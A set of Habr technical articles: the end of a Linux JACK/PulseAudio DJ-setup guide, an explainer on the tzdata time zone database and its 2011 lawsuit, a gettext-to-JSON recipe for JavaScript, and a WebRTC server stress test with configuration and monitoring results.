* Когда толпа требует какой-то конкретный малоизвестный трек, можно стать хорошим диджеем и сделать их счастливыми, если этот трек соискать на стриминговых сервисах и поставить.
* Ещё иногда на ивентах бывают всякого рода видеомосты, а всякого рода дискорды не умеют в JACK.
* Разумеется, это имеет смысл только если у Вас на "микшере" есть Интернет.
* Или, например, моя программа [FestEngine](https://github.com/Himura2la/FestEngine) на момент выхода статьи не поддерживает JACK, так что его даже в оффлайне придётся заводить через PulseAudio.
Нам понадобится утилита `alsa_in`. Она позволит ввести в JACK звук из приложений, которые сами не умеют выводить звук в JACK (например, браузер). Скорее всего `alsa_in` установилась вместе с JACK, но в RHEL-мире это отдельный пакет [jack-audio-connection-kit-example-clients](https://rpmfind.net/linux/rpm2html/search.php?query=alsa_in&system=epel&arch=x86_64).
Также нам потребуется PulseAudio Volume Control (пакет `pavucontrol`), без него сложновато понимать что происходит внутри PulseAudio и влиять на это.
Важный момент: во многих дистрибутивах есть отличный пакет `pulseaudio-module-jack`, который позволяет соединять PulseAudio с JACK напрямую, минуя ALSA. Если у Вас он есть, используйте `module-jack-sink` вместо `alsa_in`. Это будет намного чище, чем описанный далее способ. Я не пробовал, но хотел бы. Может как-нибудь соберу из исходников.
Утилиту `alsa_in` можно запускать (в `screen`, чтобы она работала в фоне, но была доступна) вот таким скриптом:
```
#!/bin/sh
cat << EOF > ~/.jackdrc
/usr/bin/jackd -T -P 70 -d alsa -d hw:CODEC,0 -r 44100 -n 3 -p 128
EOF
sudo modprobe snd-aloop id=JACK pcm_substreams=1
screen -dm alsa_in -j alsa_in -d hw:JACK,1 -p 1024
echo 'Use `screen -r` to connect to 'alsa_in' console, and [Ctrl+a,d] to disconnect.'
```
* Модуль ядра `snd-aloop` позволяет добавлять в ALSA виртуальные звучки, у которых выход соединён со входом. Здесь мы добавляем один input и один output по имени JACK. Внутри они соединены: то есть, всё, что мы выводим в output на ALSA-устройство JACK (как будто на динамики), попадает ему же в input (как будто из микрофона).
+ PulseAudio автоматически не начнёт отправлять звук в новое виртуальное аудиоустройство **JACK**, его нужно установить в качестве fallback-девайса в **PulseAudio Volume Control**, а программы, которые уже куда-то что-то выводили переключить на **JACK**.
* Прога `alsa_in` переправляет input в звуковой сервер JACK.
+ Он ни к чему автоматически не подключится, так что его нужно будет вручную подключить к нужному каналу Ardour. Это можно сделать через Routing Grid интересующего канала или через **QjackCtl**.
* Если на момент запуска `alsa_in` в системе нет активного JACK-сервера, он запускается с настройками из `~/.jackdrc`
* Куда предварительно сохраняются требуемые настройки.
* Этот вариант удобен тем, что можно читать вывод jackd.
Extra
=====
* Без физических фэйдеров ощущения не те? Вставляем USB-MIDI-контроллер. Управление сценическим светом можно ([в теории](https://www.qlcplus.org/docs/html_en_EN/dmxusbplugin.html)) на него же завести. Самые простые варианты:
+ [BEHRINGER X-TOUCH MINI](https://www.behringer.com/product.html?modelCode=P0B3M)
+ [Korg nanoKONTROL 2](https://www.korg.com/us/products/computergear/nanokontrol2/)
* Хочется ходить с планшетиком по залу? Есть 2 варианта:
+ [x11vnc](http://www.karlrunge.com/x11vnc/#downloading) + что-нибудь типа [VNC Viewer](https://www.realvnc.com/en/connect/download/viewer/android/).
+ [OSC](https://manual.ardour.org/using-control-surfaces/controlling-ardour-with-osc/) + что-нибудь типа [TouchOSC](https://hexler.net/products/touchosc).
Conclusion
----------
Спасибо за интерес к свободному ПО. Если что-то не понятно или не получается, пишите комменты, попробуем разбираться :) | https://habr.com/ru/post/534348/ | null | ru | null |
# Tzdata — глобальная база знаний о часовых поясах
Если нам где-либо (например, в каких-то приложениях) требуется работать не только с универсальным временем UTC, но и с местным временем в различных точках Земли, то здесь встаёт вопрос о необходимости некой базы знаний о том, как вычисляется локальное время относительно UTC в различных регионах мира.
Многие Unix-like системы для хранения информации обо всех мировых часовых поясах используют базу [tzdata](http://en.wikipedia.org/wiki/Tzdata) (она же tz database, она же zoneinfo database, она же Olson database — в честь Артура Олсона, основателя этой базы знаний).
Впервые начал собирать эту базу Артур Дэвид Олсон (Arthur David Olson), позже к этому проекту подключились и другие участники. Сейчас же основным коммитером новой информации в базу tzdata является Пол Эггерт (Paul Eggert), а Артур Олсон сейчас занимается разработкой и поддержкой утилит для работы с локальным временем и данными о часовых поясах (пакет tzcode).
В базе tzdata содержится детальная информация обо всех часовых поясах во всех регионах мира:
— координатная привязка основных населённых пунктов, характеризующих часовой пояс;
— смещение локального времени в различных регионах относительно универсального времени UTC;
— указано, в каких регионах применяется летнее время (DST), насколько оно смещается относительно стандартного, указаны точные даты и время переключения на летнее время и обратно в различных регионах в различные периоды;
— информация о високосных секундах ([leap seconds](http://en.wikipedia.org/wiki/Leap_second)).
Важной особенностью базы tzdata является то, что она не просто хранит текущее состояние всех мировых часовых поясов (т.е. текущие правила расчёта локального времени относительно UTC в каждом регионе мира), она ещё хранит все изменения этих правил расчёта локального времени для всех регионов за всё время с начала Unix-эпохи (1 января 1970). Допустим, какая-то страна своим политическим решением перешла в другой часовой пояс — эта информация есть в tzdata с точностью до секунды, когда это произошло; какая-то страна изменила дату перехода на летнее время — эта информация есть в tzdata с точностью до секунды, когда это произошло; какая-то страна отменила переход на летнее время — эта информация есть в tzdata с точностью до секунды, когда это произошло и т.д.
Благодаря этой особенности, можно вести точные расчёты времени для разных стран за разные промежутки времени.
Например, локальное время:
2010-12-01 14:00 (MSK) — соответствует 2010-12-01 **11**:00 (UTC)
2011-12-01 14:00 (MSK) — соответствует 2011-12-01 **10**:00 (UTC)
Казалось бы, одинаковое название часового пояса и одинаковое локальное время (только год разный). Но в один исторический период часовая зона MSK соответствовала UTC+03:00, а в другой исторический период та же самая часовая зона MSK соответствовала уже UTC+04:00.
И благодаря базе tzdata все эти неоднозначности легко решаются, т.к. там хранится подробная информация о том, когда и как рассчитывалось время в каждом из часовых поясов в каждый из временных периодов (с 1970 года).
Если иметь только текущее состояние всех часовых зон (без исторической памяти), то подобные неоднозначности локальных часовых зон никогда не разрешить. И база tzdata как раз и решает задачу сбора и консолидации всей этой информации о часовых поясах со всего мира.
Информация об исчислении времени в различных регионах мира для базы tzdata собирается совместно участниками opensource-сообщества со всего мира, затем присланная информация проверяется, обсуждается, уточняется, консолидируется и в итоге коммитится в файлы tzdata. Исходники tzdata содержат всю информацию обо всех часовых поясах в текстовом человекочитаемом виде с комментариями и пояснениями. Далее эти текстовые файлы компилируются (утилитой [zic](http://www.manpagez.com/man/8/zic/)) и в системах используются уже в скомпилированном бинарном виде. Причём скомпилированные файлы tzdata, хоть и бинарные, но они не содержат исполняемого кода и платформонезависимы. В большинстве unix-подобных ОС скомпилированные файлы с описанием часовых зон из пакета tzdata можно найти здесь: `/usr/share/zoneinfo/`
Название часовых поясов в базе tzdata указывается в формате Area/Location (Регион/Город), например, Europe/Moscow, Europe/Minsk, Asia/Omsk, Asia/Magadan, America/New\_York и т.д.
Полный список мировых локаций (с координатной привязкой), с которыми проассоциированы мировые часовые пояса, можно найти в файле zone.tab, который обычно находится в директории tzdata: `/usr/share/zoneinfo/zone.tab`
**Официальные ресурсы проекта tzdata:**
HTTP: <http://cs.ucla.edu/~eggert/tz/>
FTP:: <ftp://elsie.nci.nih.gov/pub/>
(FTP-сервер временно закрыт на время [судебного разбирательства](http://habrahabr.ru/blogs/copyright/129924/)).
**Файлы проекта tzdata на официальных серверах ICANN:**
HTTP: <http://www.iana.org/time-zones>
FTP: <ftp://ftp.iana.org/tz/>
Rsync: [rsync://rsync.iana.org/tz/](http://rsync://rsync.iana.org/tz/)
**Временные зеркала проекта tzdata:**
HTTP:
<http://www.twinsun.com/tz/tz-link.htm>
<http://tzmirror.appealingapps.de/>
<http://tzmirror.sunbase.org/>
<http://www.mailstation.de/tzmirror/>
<http://www.foo.be/mirrors/tzmirror/>
<http://www.localhost.lu/mirrors/tzmirror/>
FTP:
<ftp://tzmirror.appealingapps.de>
<ftp://munnari.oz.au/pub>
Информация, собранная в tzdata, распространяется свободно для всех желающих без каких-либо лицензионных ограничений (public domain). Любой может свободно взять (как в исходниках, так и в бинарном виде) и использовать её в своих приложениях/библиотеках/сервисах. И многие разработчики/вендоры дистрибутивов ОС (в частности Linux/BSD/MacOS) и различного ПО именно так и делают.
В мире opensource (да и не только) база tzdata де-факто является стандартным источником информации обо всех мировых часовых поясах и истории их изменений. Базу tzdata используют все GNU/Linux-дистрибутивы, BSD-системы (FreeBSD, NetBSD, OpenBSD, DragonFly BSD), Solaris, UnixWare, AIX (6.1 и выше), Cygwin а также Mac OS X и некоторые другие unix-like дистрибутивы. Мобильные ОС: Android, Apple iOS, Maemo/MeeGo тоже используют tzdata. Кроме того, данные из tzdata используется в ряде СУБД: MySQL, Oracle DB, PostgreSQL и др., а также в различных языках, фреймворках, библиотеках, модулях: PHP5, Perl (модули DateTime::TimeZone и DateTime::LeapSecond), Python (модуль pytz), GNU C Library (glibc), .NET Framework (модуль zoneinfo), Java Runtime Environment и др.
Благодаря единой глобальной базе знаний tzdata, каждому разработчику ОС и ПО не нужно самостоятельно собирать и поддерживать внутри своего проекта в актуальном состоянии информацию о мировых часовых поясах. Все её получают из единого источника, и везде она идентична (если вовремя обновлять tzdata).
Версии tzdata нумеруются следующим образом. Сначала четырёхзначное число, означающее год выхода этой версии, а потом одна буква латинского алфавита по порядку: a, b, c, d… и т.д. по мере выхода новых версий tzdata в течение одного года. Например, в 2010 году выходили версии tzdata: 2010a, 2010b, 2010c… и далее до версии 2010o. В 2011 году выходили версии tzdata: 2011a, 2011b, 2011c… и далее до 2011l (на день написания этой статьи это пока последняя версия tzdata).
Если вы используете какой-либо Linux-дистрибутив, который вы регулярно обновляете из репозиториев, то скорее всего последняя версия пакета tzdata уже установлена у вас в системе.
Даты выхода нескольких недавних релизов tzdata на примере Ubuntu:
12 сентября 2011 — исходники tzdata обновились до версии 2011j;
14 сентября 2011 — пакет tzdata обновился до версии 2011j в апстриме Ubuntu (Debian Unstable);
20 сентября 2011 — пакет tzdata 2011j поступил в основной репозиторий Ubuntu;
26 сентября 2011 — исходники tzdata обновились до версии 2011k;
26 сентября 2011 — пакет tzdata обновился до версии 2011k в апстриме Ubuntu (Debian Unstable);
04 октября 2011 — пакет tzdata 2011k поступил в основной репозиторий Ubuntu;
10 октября 2011 — исходники tzdata обновились до версии 2011l (на момент написания статьи пакетов под Ubuntu ещё не было).
В Linux-дистрибутивах с пакетными менеджерами можете просто посмотреть версию текущего установленного пакета tzdata. Например, в Debian/Ubuntu это можно сделать командой:
`dpkg -s tzdata |grep Version`
Если в своих проектах вам необходимо использовать информацию о часовых поясах и локальном времени в различных регионов, то рекомендую вам для этих целей использовать базу tzdata, а не изобретать свой велосипед. Это поможет вам, во-первых, сэкономить время, а во-вторых, всегда иметь актуальную базу истории изменения мировых часовых зон для проведения точных расчётов с локальным временем в настоящем и прошлом.
Правовые трудности проекта tzdata
---------------------------------
**30 сентября 2011** — в федеральный суд США в Бостоне поступил гражданский иск по поводу незаконного использования в tzdata информации, взятой из программных продуктов «ACS Atlas»/«ACS International Atlas»/«ACS American Atlas», которые компания Astrolabe, Inc. распространяла под коммерческой лицензией, и на которые она имеет интеллектуальные права.
Истец по этому делу: компания Astrolabe, Inc.
Ответчики: Артур Дэвид Олсон и Пол Эггерт (мейнтейнеры и координаторы проекта tzdata).
([топик](http://habrahabr.ru/blogs/copyright/129924/) на Хабре об этом)
**6 октября 2011** — Артур Девид Олсон в списках рассылки проекта tzdata (Newsgroups: gmane.comp.time.tz) [сообщил](http://article.gmane.org/gmane.comp.time.tz/4133), что в связи с этим судебным преследованием он вынужден на всякий случай до решения суда остановить работу официального FTP-сервера со всеми файлами проекта tzdata.
Сразу после этого другие участники проекта tzdata открыли несколько временных HTTP/FTP-зеркал, чтобы доступ к этим файлам всё же мог получить любой желающий (см. выше [временные зеркала проекта tzdata](#mirrors))
**14 октября 2011** — международная организация [ICANN](http://en.wikipedia.org/wiki/ICANN) выпустила пресс-релиз ([PDF](http://www.icann.org/en/news/releases/release-14oct11-en.pdf)), в котором сообщила, что они получили предложение поддержать проект TZ Database (tzdata) и объявили, что они берут на себя поддержку проекта tzdata пока на временной основе.
Будущее развитие и поддержка единой глобальной стандартизованной базы часовых зон будет регламентироваться документом, который уже разрабатывается [IETF](http://en.wikipedia.org/wiki/IETF). С черновиком этого документа можно ознакомиться здесь:
[tools.ietf.org/html/draft-lear-iana-timezone-database-04](http://tools.ietf.org/html/draft-lear-iana-timezone-database-04)
Судебное разбирательство по этому делу ещё не закончено (на момент написания этой статьи).
| | |
| --- | --- |
|
[CC BY License logo](http://creativecommons.org/licenses/by/3.0/) | Автор статьи: Роман Тик
Текст статьи распространяется на условиях [лицензии «Creative Commons Attribution 3.0 Unported»](http://creativecommons.org/licenses/by/3.0/deed.ru) (CC BY 3.0). Вы можете свободно копировать, редактировать и использовать в любых целях этот текст при обязательном указании авторства. | | https://habr.com/ru/post/130401/ | null | ru | null |
# gettext: рецепт жаркое из антилопы в Javascript
При разработке CMF я столкнулся с необходимостью грамотно реализовать i18n (мультиязычность), и стал рассматривать различные варианты…
Сначала, исходя из прошлого опыта, я хотел сделать «языковые константы» и мытарствах с хаками для числительных. Но потом к счастью остановил свой выбор на GNU gettext, на мощном и популярном (в Unix-среде) инструменте. Вскоре я понял что нет смысла излишне нагружать сервер переводами фраз, которые не индексируются поисковиками, и что в ряде случаев лучше переводить на клиенте. Однако, необходима была унифицированная система, позволяющая делать переводы в едином формате.
Прогуглив gettext javascript, я увидел несколько реализаций.
Первой попалась — [code.google.com/p/gettext-js](http://code.google.com/p/gettext-js/)
Плюс в том что она не требует дополнительной переконвертации исходного po-файла, минус — нету ngettext.
Потом я нашел [plugins.jquery.com/project/gettext](http://plugins.jquery.com/project/gettext)
Её я и решил использовать. Однако, для работы плагина требуется подготовка специального JSON-файла из MO-файла.
Для конвертации приводится функция на Python:
```
import simplejson as enc
import gettext
def gettext_json(domain, path, lang = [], indent = False):
try:
tr = gettext.translation(domain, path, lang)
# for unknown reasons, instead of having plural entries like
# key: [sg, pl1...]
# tr._catalog has (key, n): pln,
keys = tr._catalog.keys()
keys.sort()
ret = {}
for k in keys:
v = tr._catalog[k]
if type(k) is tuple:
if k[0] not in ret:
ret[k[0]] = []
ret[k[0]].append(v)
else:
ret[k] = v
return enc.dumps(ret, ensure_ascii = False, indent = indent)
except IOError:
return None
```
Пришлось потратить… дцать минут на гуглеж и изучение доки, чтоб поправить код и заставить работать. В результате родил нормальную Unix-программу.
gettext2json
```
#!/usr/bin/python
import sys
import simplejson as enc
import gettext
def gettext_json(domain, path, lang = [], indent = False):
try:
tr = gettext.translation(domain, path, lang)
# for unknown reasons, instead of having plural entries like
# key: [sg, pl1...]
# tr._catalog has (key, n): pln,
keys = tr._catalog.keys()
keys.sort()
ret = {}
for k in keys:
v = tr._catalog[k]
if type(k) is tuple:
if k[0] not in ret:
ret[k[0]] = []
ret[k[0]].append(v)
else:
ret[k] = v
return enc.dumps(ret, ensure_ascii = True, indent = indent)
except IOError as (errno, strerror):
print "I/O error({0}): {1}".format(errno, strerror)
print gettext_json(sys.argv[1],sys.argv[2],[sys.argv[3]], True)
```
Также, решил автоматизировать процесс создания бинарных MO-файлов из текстовых PO-файлов:
BuildLocales:
```
#!/usr/bin/php -q
php
chdir(__DIR__);
$lcPath = './locale';
$jsPath = './static/locale';
foreach (glob($lcPath.'/*/LC_MESSAGES/*.po') as $poFile) {
$locale = pathinfo(dirname(dirname($poFile)), PATHINFO_FILENAME);
$domain = pathinfo($poFile, PATHINFO_FILENAME);
$moFile = dirname($poFile).'/'.$domain.'.mo';
$jsFile = $jsPath.'/'.$locale.'/'.$domain.'.json';
shell_exec('mkdir -p '.escapeshellarg($jsPath.'/'.$locale));
shell_exec('msgfmt -o '.escapeshellarg($moFile).' '.escapeshellarg($poFile));
$cmd = 'gettext2json '.escapeshellarg($domain).' '.escapeshellarg($lcPath ).' '.escapeshellarg($locale).' '.escapeshellarg($jsFile);
shell_exec($cmd);
}
```
Таким образом, для подготовки всех файлов достаточно лишь создать/изменить текстовый .po файлы в папке locale и запустить скрипт BuildLocales.
Для подключения gettext к Javascript необходимо указать атрибут lang у тега html, добавить в head элемент link с путем до json-файла и подгрузить jquery.gettext.js.
Начало HTML-кода страницы будет выглядеть примерно так:
```
...
...
```
Затем можно вызывать функцию \_(«Hello world!») и наслаждаться. Упс! Не работает!
Придется кое-что поправить в jquery.gettext.js, накладываем patch:
```
63,66c63,70
< try {
< var messages = eval('(' + data + ')');
< } catch(e) {
< return;
---
> if (typeof(data) == 'object') {
> var messages = data;
> } else {
> try {
> var messages = eval('(' + data + ')');
> } catch(e) {
> return;
> }
```
Те кому лень накладывать патч берут [jquery.gettext.js](http://loopback.su/jquery.gettext.js).
Надеюсь жаркое вам понравилось, спасибо за внимание. | https://habr.com/ru/post/108348/ | null | ru | null |
# Choosing a server for 1000 WebRTC streams
In any project, a great deal of importance is placed on the selection of server hardware and WebRTC streaming is no exception. One of the key principles of such a selection is balance – the hardware should be powerful enough to handle the streams with no drops in quality, but not too powerful so as to waste resources. So, how does one choose the right server?
[Previously](https://flashphoner.com/how-to-launch-webrtc-screen-sharing-in-2020/) we'd already touched on the topic of choosing a server based on the number of subscribers. Here's the gist:
1. When choosing a server for streaming—with or without balancing—you need to take into the account the load profiles:
* basic streaming;
* streaming with transcoding;
* stream mixing.
2. Streams with transcoding and mixing place greater loads on the CPU and RAM, compared to basic streams. The load on the server CPU shouldn't exceed 80%. If that's the case, all viewers will receive the video of decent quality.
3. In practice, it is often the case that the stream quality depends not on the server specs, but on the network capacity.
Here's a quick reference on how to calculate the number of streams based on the network capacity:
One 480p stream takes up about 0.5 - 1 Mbps of traffic. WebRTC streams have a variable bitrate, so let's assume it's going to take 1 Mbps. Thus, 1000 streams equals 1000 Mbps.
4) The number of viewers and the stream quality partially depend on the way the [server is configured](https://docs.flashphoner.com/display/WCS52EN/Before+moving+to+production) — the number of media ports and the ZGC usage.
In this article, we'll take a look at how to run a server stress test and we'll see whether all the aforementioned points hold true.
### Testing plan
1. Publish a stream from a camera on a WCS server #1 following the instructions from a previous example, "Two Way Streaming"
2. Using the Console web app start a stress test, where the WCS server #2 will imitate 1000 users trying to connect to WCS #1.
3. Using the data from the Prometheus monitoring system, check the server load and the number of outgoing WebRTC streams.
4. If the server is handling the requested number of streams, manually check the stream quality degradation (if there is any).
The test shall be considered successful if 1000 viewers could connect to WCS#1 with no visible quality degradation.
### Preparing for testing
For this test you'll need:
* two WCS servers;
* standard streaming setup described in Two-Way Streaming;
* Console web app for testing;
* Google Chrome browser and [Allow-Control-Allow-Origin extension](https://chrome.google.com/webstore/detail/allow-cors-access-control/lhobafahddgcelffkeicbaginigeejlf?hl) for working with Console.
If you don't have Access-Control-Allow-Origin installed, do so and run it:
We assume your WCS is already installed and configured. If not, follow [this guide](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server).
For the test to be successful and for the results to be usable, you need to go through the following preliminary steps.
1.Extend the media port range for WebRTC connections in the following file: [flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties)
```
media_port_from = 20001
media_port_to = 40000
```
Make sure the range doesn't overlap with [other ports](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241885) that are used by the server and with [Linux ephemeral port range](https://docs.flashphoner.com/display/WCS52EN/Server+tuning+recommendations#Servertuningrecommendations-ChangingdynamicportsrangeinLinux) (you can change it, if necessary)
2.In that same file, specify the parameter that increases the duration of the test and the parameter that will display on the statistics page the data regarding the network load:
```
wcs_activity_timer_timeout=86400000
global_bandwidth_check_enabled=true
```
3.With a large number of subscribers per stream (100 or more) and an sufficiently powerful server processor and communication channel, the stream playback quality can drop, which manifests in FPS drops and freezes. To avoid this, it is recommended to enable stream distribution via CPU threads, using a special setting in [flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties):
```
streaming_distributor_subgroup_enabled=true
```
In this case, users' audio and video sessions will be distributed into groups.
The maximum number of video sessions per group is set by the following setting:
```
streaming_distributor_subgroup_size=50
```
The maximum number of audio sessions per group is set by the following setting:
```
streaming_distributor_audio_subgroup_size=500
```
The packet queue size per group and the maximum wait time for a frame to be sent (in milliseconds) are set by the following settings:
```
streaming_distributor_subgroup_queue_size=300
streaming_distributor_subgroup_queue_max_waiting_time=5000
streaming_distributor_audio_subgroup_queue_size=300
streaming_distributor_audio_subgroup_queue_max_waiting_time=5000
```
4.Enable hardware acceleration of WebRTC traffic encryption. By default, BouncyCastle library is used for encryption of WebRTC traffic, but if your server's processor supports [AES](https://en.wikipedia.org/wiki/AES_instruction_set) instructions, it is worth switching to [Java Cryptography Extension](https://en.wikipedia.org/wiki/Java_Cryptography_Extension) using settings from [flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties)
```
webrtc_aes_crypto_provider=JCE
```
and enable AES support in Java Virtual Machine settings, which can be found in wcs-core.properties
```
-server
-XX:+UnlockDiagnosticVMOptions
-XX:+UseAES
-XX:+UseAESIntrinsics
```
This way, due to hardware acceleration, the encryption performance will be increased 1.8-2-fold, which may serve to unload the server processor.
You can check whether your server processor supports the AES instructions with the following command:
```
lscpu | grep -o aes
```
5.Enable ZGC in JavaVM. The recommended JDK versions (which have been proven to work well with WCS) are 12 and 14 ([Here's the installation guide](https://docs.flashphoner.com/display/WCS52EN/Requirements+and+prerequisites#Requirementsandprerequisites-ManualJDKinstallation))
To configure ZGC, do the following:
* In wcs-core.properties comment out the following lines:
```
-XX:+UseConcMarkSweepGC
-XX:+UseCMSInitiatingOccupancyOnly
-XX:CMSInitiatingOccupancyFraction=70
-XX:+PrintGCDateStamps
-XX:+PrintGCDetails
```
* Adjust the logs settings
```
-Xlog:gc*:/usr/local/FlashphonerWebCallServer/logs/gc-core.log
-XX:ErrorFile=/usr/local/FlashphonerWebCallServer/logs/error%p.log
```
* Make the heap size no less than half of the server's physical memory
```
### JVM OPTIONS ###
-Xmx16g
-Xms16g
```
* Enable ZGC
```
# ZGC
-XX:+UnlockExperimentalVMOptions -XX:+UseZGC -XX:+UseLargePages -XX:ZPath=/hugepages
```
* Configure the memory pages. Make sure to calculate the number of pages fit for the selected heap size:
```
(1,125*heap_size*1024)/2. Для -Xmx16g это число (1,125*16*1024)/2=9216
```
```
mkdir /hugepages
echo "echo 9216 >/sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages" >>/etc/rc.local
echo "mount -t hugetlbfs -o uid=0 nodev /hugepages" >>/etc/rc.local
chmod +x /etc/rc.d/rc.local
systemctl enable rc-local.service
systemctl restart rc-local.service
```
Once ZGC is configured, you'll need to reload WCS.
6.To make server monitoring easy, we suggest deploying the [Prometheus+Grafana](https://flashphoner.com/10-important-webrtc-streaming-metrics-and-configuring-prometheus-grafana-monitoring/) monitoring system.
We'll be monitoring the following indicators:
* CPU load:
```
node_load1
node_load5
node_load15
```
* Physical memory usage for Java:
```
core_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="core_java_freePhysicalMemorySize"}
core_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="core_java_totalPhysicalMemorySize"}
```
* Pauses in ZGC operations:
```
custom_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="gc_pause"}
```
* Network capacity:
```
network_stats
```
* Number of streams. For the stress tests, we'll count the outgoing WebRTC connections:
```
streams_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="streams_webrtc_out"}
```
* Number and percentage of degraded streams:
```
degraded_streams_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="degraded_streams"}
degraded_streams_stats{instance="your.WCS.server.nam..8081", job="flashphoner", param="degraded_streams_percent"}
```
### Test #1 — weak servers
For our first test, we'll use two servers with the following specs: 1x Intel Atom C2550 @ 2.4Ghz (4 cores, 4 threads) 8GB RAM 2x 1Gbps
The channel's nominal capacity is 2x 1Gbps. Let's see if it's true.
You can measure network performance using the iperf tool. It supports all the common operating systems: Windows, MacOS, Ubuntu/Debian, CentOS. In its server mode, iperf can be installed along with WCS, which makes it possible to test the channel from one end to the other, from the publisher to the viewer.
Launch iperf in server mode:
```
iperf3 -s -p 5201
```
where: **5201** - the port to which iperf expects the clients will attempt to connect.
Launch iperf in client mode to test sending data from client to server via TCP:
```
iperf3 -c test.flashphoner.com -p 5201
```
where: **test.flashphoner.com** - WCS server; **5201** - port for iperf in server mode.
Install and run iperf in server mode on the server #1:
Install and run iperf in client mode on server #2 and receive data on the network performance:
We see that the average network throughput between the publisher (server #1) and the viewer (server #2) is 2.25 Gbps, which means it can, theoretically, support 2000 viewers.
Let's test this out.
Start the [stress test](https://docs.flashphoner.com/pages/viewpage.action?pageId=9242540).
On server #1, open the Console app through HTTP <http://your.WCS.server.name:9091/client2/examples/demo/streaming/console/console.html>
Specify the domain name or IP address of the server #1 and click the button titled "Add node". This shall be our test server, the source of the streams. Following the same steps, connect the server #2, which shall be imitating the viewers and capturing the streams.
For server #1, start streaming the webcam feed following the guide in the Two-way Streaming article. Any stream name will do.
In the Console app, select server #2, click "Pull streams", and enter the following test parameters:
* Choose node - pick server #1;
* Local stream name, Remote stream name - specify the name of the published stream (server #1);
* Qty - specify the number of viewers (for this test — 1000)
Click "Pull":
During the test, we will monitor the situation using graphs provided by Grafana:
As you can see, the test increased the load on the server CPU. The Load Average of over 5 for a 4-core processor means it's under a 100% load:
The available RAM size has decreased:
ZGC pauses lasted up to 5 ms, which is acceptable:
Graph of the channel bandwidth capacity. Here we see that the majority of the traffic is taken by the outgoing streams. The throughput never exceeded 100 Mbps (less than 5% of the nominal bandwidth, which we successfully tested with iperf ):
The number of the outgoing streams. As you can see, the test was almost a complete failure. We didn't manage to service more than 260 users, and our target level was 1000.
The degraded streams. As we got closer to the end of the stream, quality degradation started appearing. This makes sense, since the Load Average of over 5 on a 4-core processor means it's 100% loaded and under such conditions stream degradation is inevitable:
The conclusion is simple:
As tempting as it may be to save money on hardware, weak servers and weak virtual instances can't handle serious loads needed for high-quality production. Although, if your goals don't require streaming for 1000 viewers, it might be a viable option. For instance, using an "underpowered" server you can:
* set up a simple video surveillance system — distribute feed from an IP camera to a small number of subscribers via WebRTC;
* set up a system for webinar hosting for a small company;
* stream audio only (audio streams are less demanding).
Now let's fire up more powerful servers and see if we can serve 1000 viewers.
### Test #2 — powerful servers
For test #2 we'll use two servers with the following specs: 2x Intel(R) Xeon(R) Silver 4214 CPU @ 2.20GHz ( 24 cores, 48 threads in total) 192GB RAM 2x 10Gbps
As before, test the channel bandwidth with iperf:
In this case, the bandwidth of the channel between the publisher (server #1) and the viewer (server #2) is 9.42 Gbps, which equals 9000 potential viewers.
Start the [stress test](https://docs.flashphoner.com/pages/viewpage.action?pageId=9242540) as before using the Console web app.
Monitor the situation using graphs provided by Grafana:
Let's take a closer look at the graphs.
Predictably, the stress test increased the CPU load, but for the 48 threads the peak Load Average of 11 is not indicative of high loads. The server processor is clearly loaded, but it's far from reaching full capacity:
The available RAM size didn't undergo significant changes:
ZGC pauses reached 2.5 ms, which is acceptable:
The graph of the network channel bandwidth. Here, we see that the outgoing streams take up the majority of the traffic. The throughput never went beyond 500 Mbps (around 5% of the nominal bandwidth, which we successfully tested with iperf ):
The number of outgoing WebRTC streams. The test of the big servers was successful. We managed to serve 1000 viewers.
Degraded streams. The server handled the stress well, and no degraded streams occurred during the test:
To see if the test was a success you will need to connect to the server during the test and watch the stream like one of the subscribers which are being simulated.
On a test server, open a player and start a stream. It should have no quality drops - no stuttering, freezes, or artifacts:
The testing done for high-end servers was a success. We managed to connect 1001 viewers and the broadcast's quality was decent.
### Test three - powerful servers, loaded streams
In the previous two tests we used a low-resolution stream (240p) as our source. Experience shows, however, that these days such streams are hardly in demand. Videos that are fullHD and beyond are much more compelling. So, let us test whether our "big" servers can handle streams in 720p.
To publish the stream we will need to follow this example "[Media Devices](https://flashphoner.com/testing-the-camera-microphone-and-stream-parameters-control/)", which shows how to publish streams with specified parameters:
As before, we will use the Console web app to initiate the test. The results will be assessed using graphs from Grafana and a control playback of the published stream.
In our first test, it took 8 hours before 1000 users were able to connect, even though the graphs show that the server load was not substantial:
This has to do with the capabilities of the server that captures streams and simulates subscribers. In a test like this, the test server comes under a heavy load, and, evidently, our server couldn't handle it. To verify this theory, let's add another test server into the mix in order to split the number of subscribers—and the loads they create—into groups of 500 (500 streams for each server):
We initiate the test just as shown in the previous examples.
This time it initiated much faster. Within 10 minutes the server had 1000 subscribers:
The graphs show the test was a success: the Load Average 1 was around 40. The singular spike to 60 didn't result in performance degradation. ZGC pauses did not exceed 8 ms. No degraded streams were registered. Playback of the published stream also went smoothly: with no freezes, artifacts, or audio issues.
It appears that for a successful test the server that handles stream capturing must be as least twice as powerful as the server being tested. Alternatively, you can use several less powerful servers to achieve the same result.
The test results might vary depending on the environment, and the location of servers and users (both subscribers and streamers).
In this article, we've taken a look at one of the stress test variants. The data from the such tests can be used to optimize the server configuration and fit it to your specific needs, to avoid under- and over-loading the equipment.
Good streaming to you!
Links[Demo](https://demo.flashphoner.com/admin/login.html)
[WCS on Amazon EC2](https://flashphoner.com/amazon-ec2-support-in-web-call-server)
[WCS on DigitalOcean](https://flashphoner.com/web-call-server-on-digital-ocean-marketplace)
[WCS in Docker](https://flashphoner.com/support-web-call-server-in-docker)
[Settings file flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties)
[Settings file wcs-core.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+wcs-core.properties)
[Server tuning recommendations](https://docs.flashphoner.com/display/WCS52EN/Server+tuning+recommendations)
[Memory management in Java](https://docs.flashphoner.com/display/WCS52EN/Memory+management+in+Java)
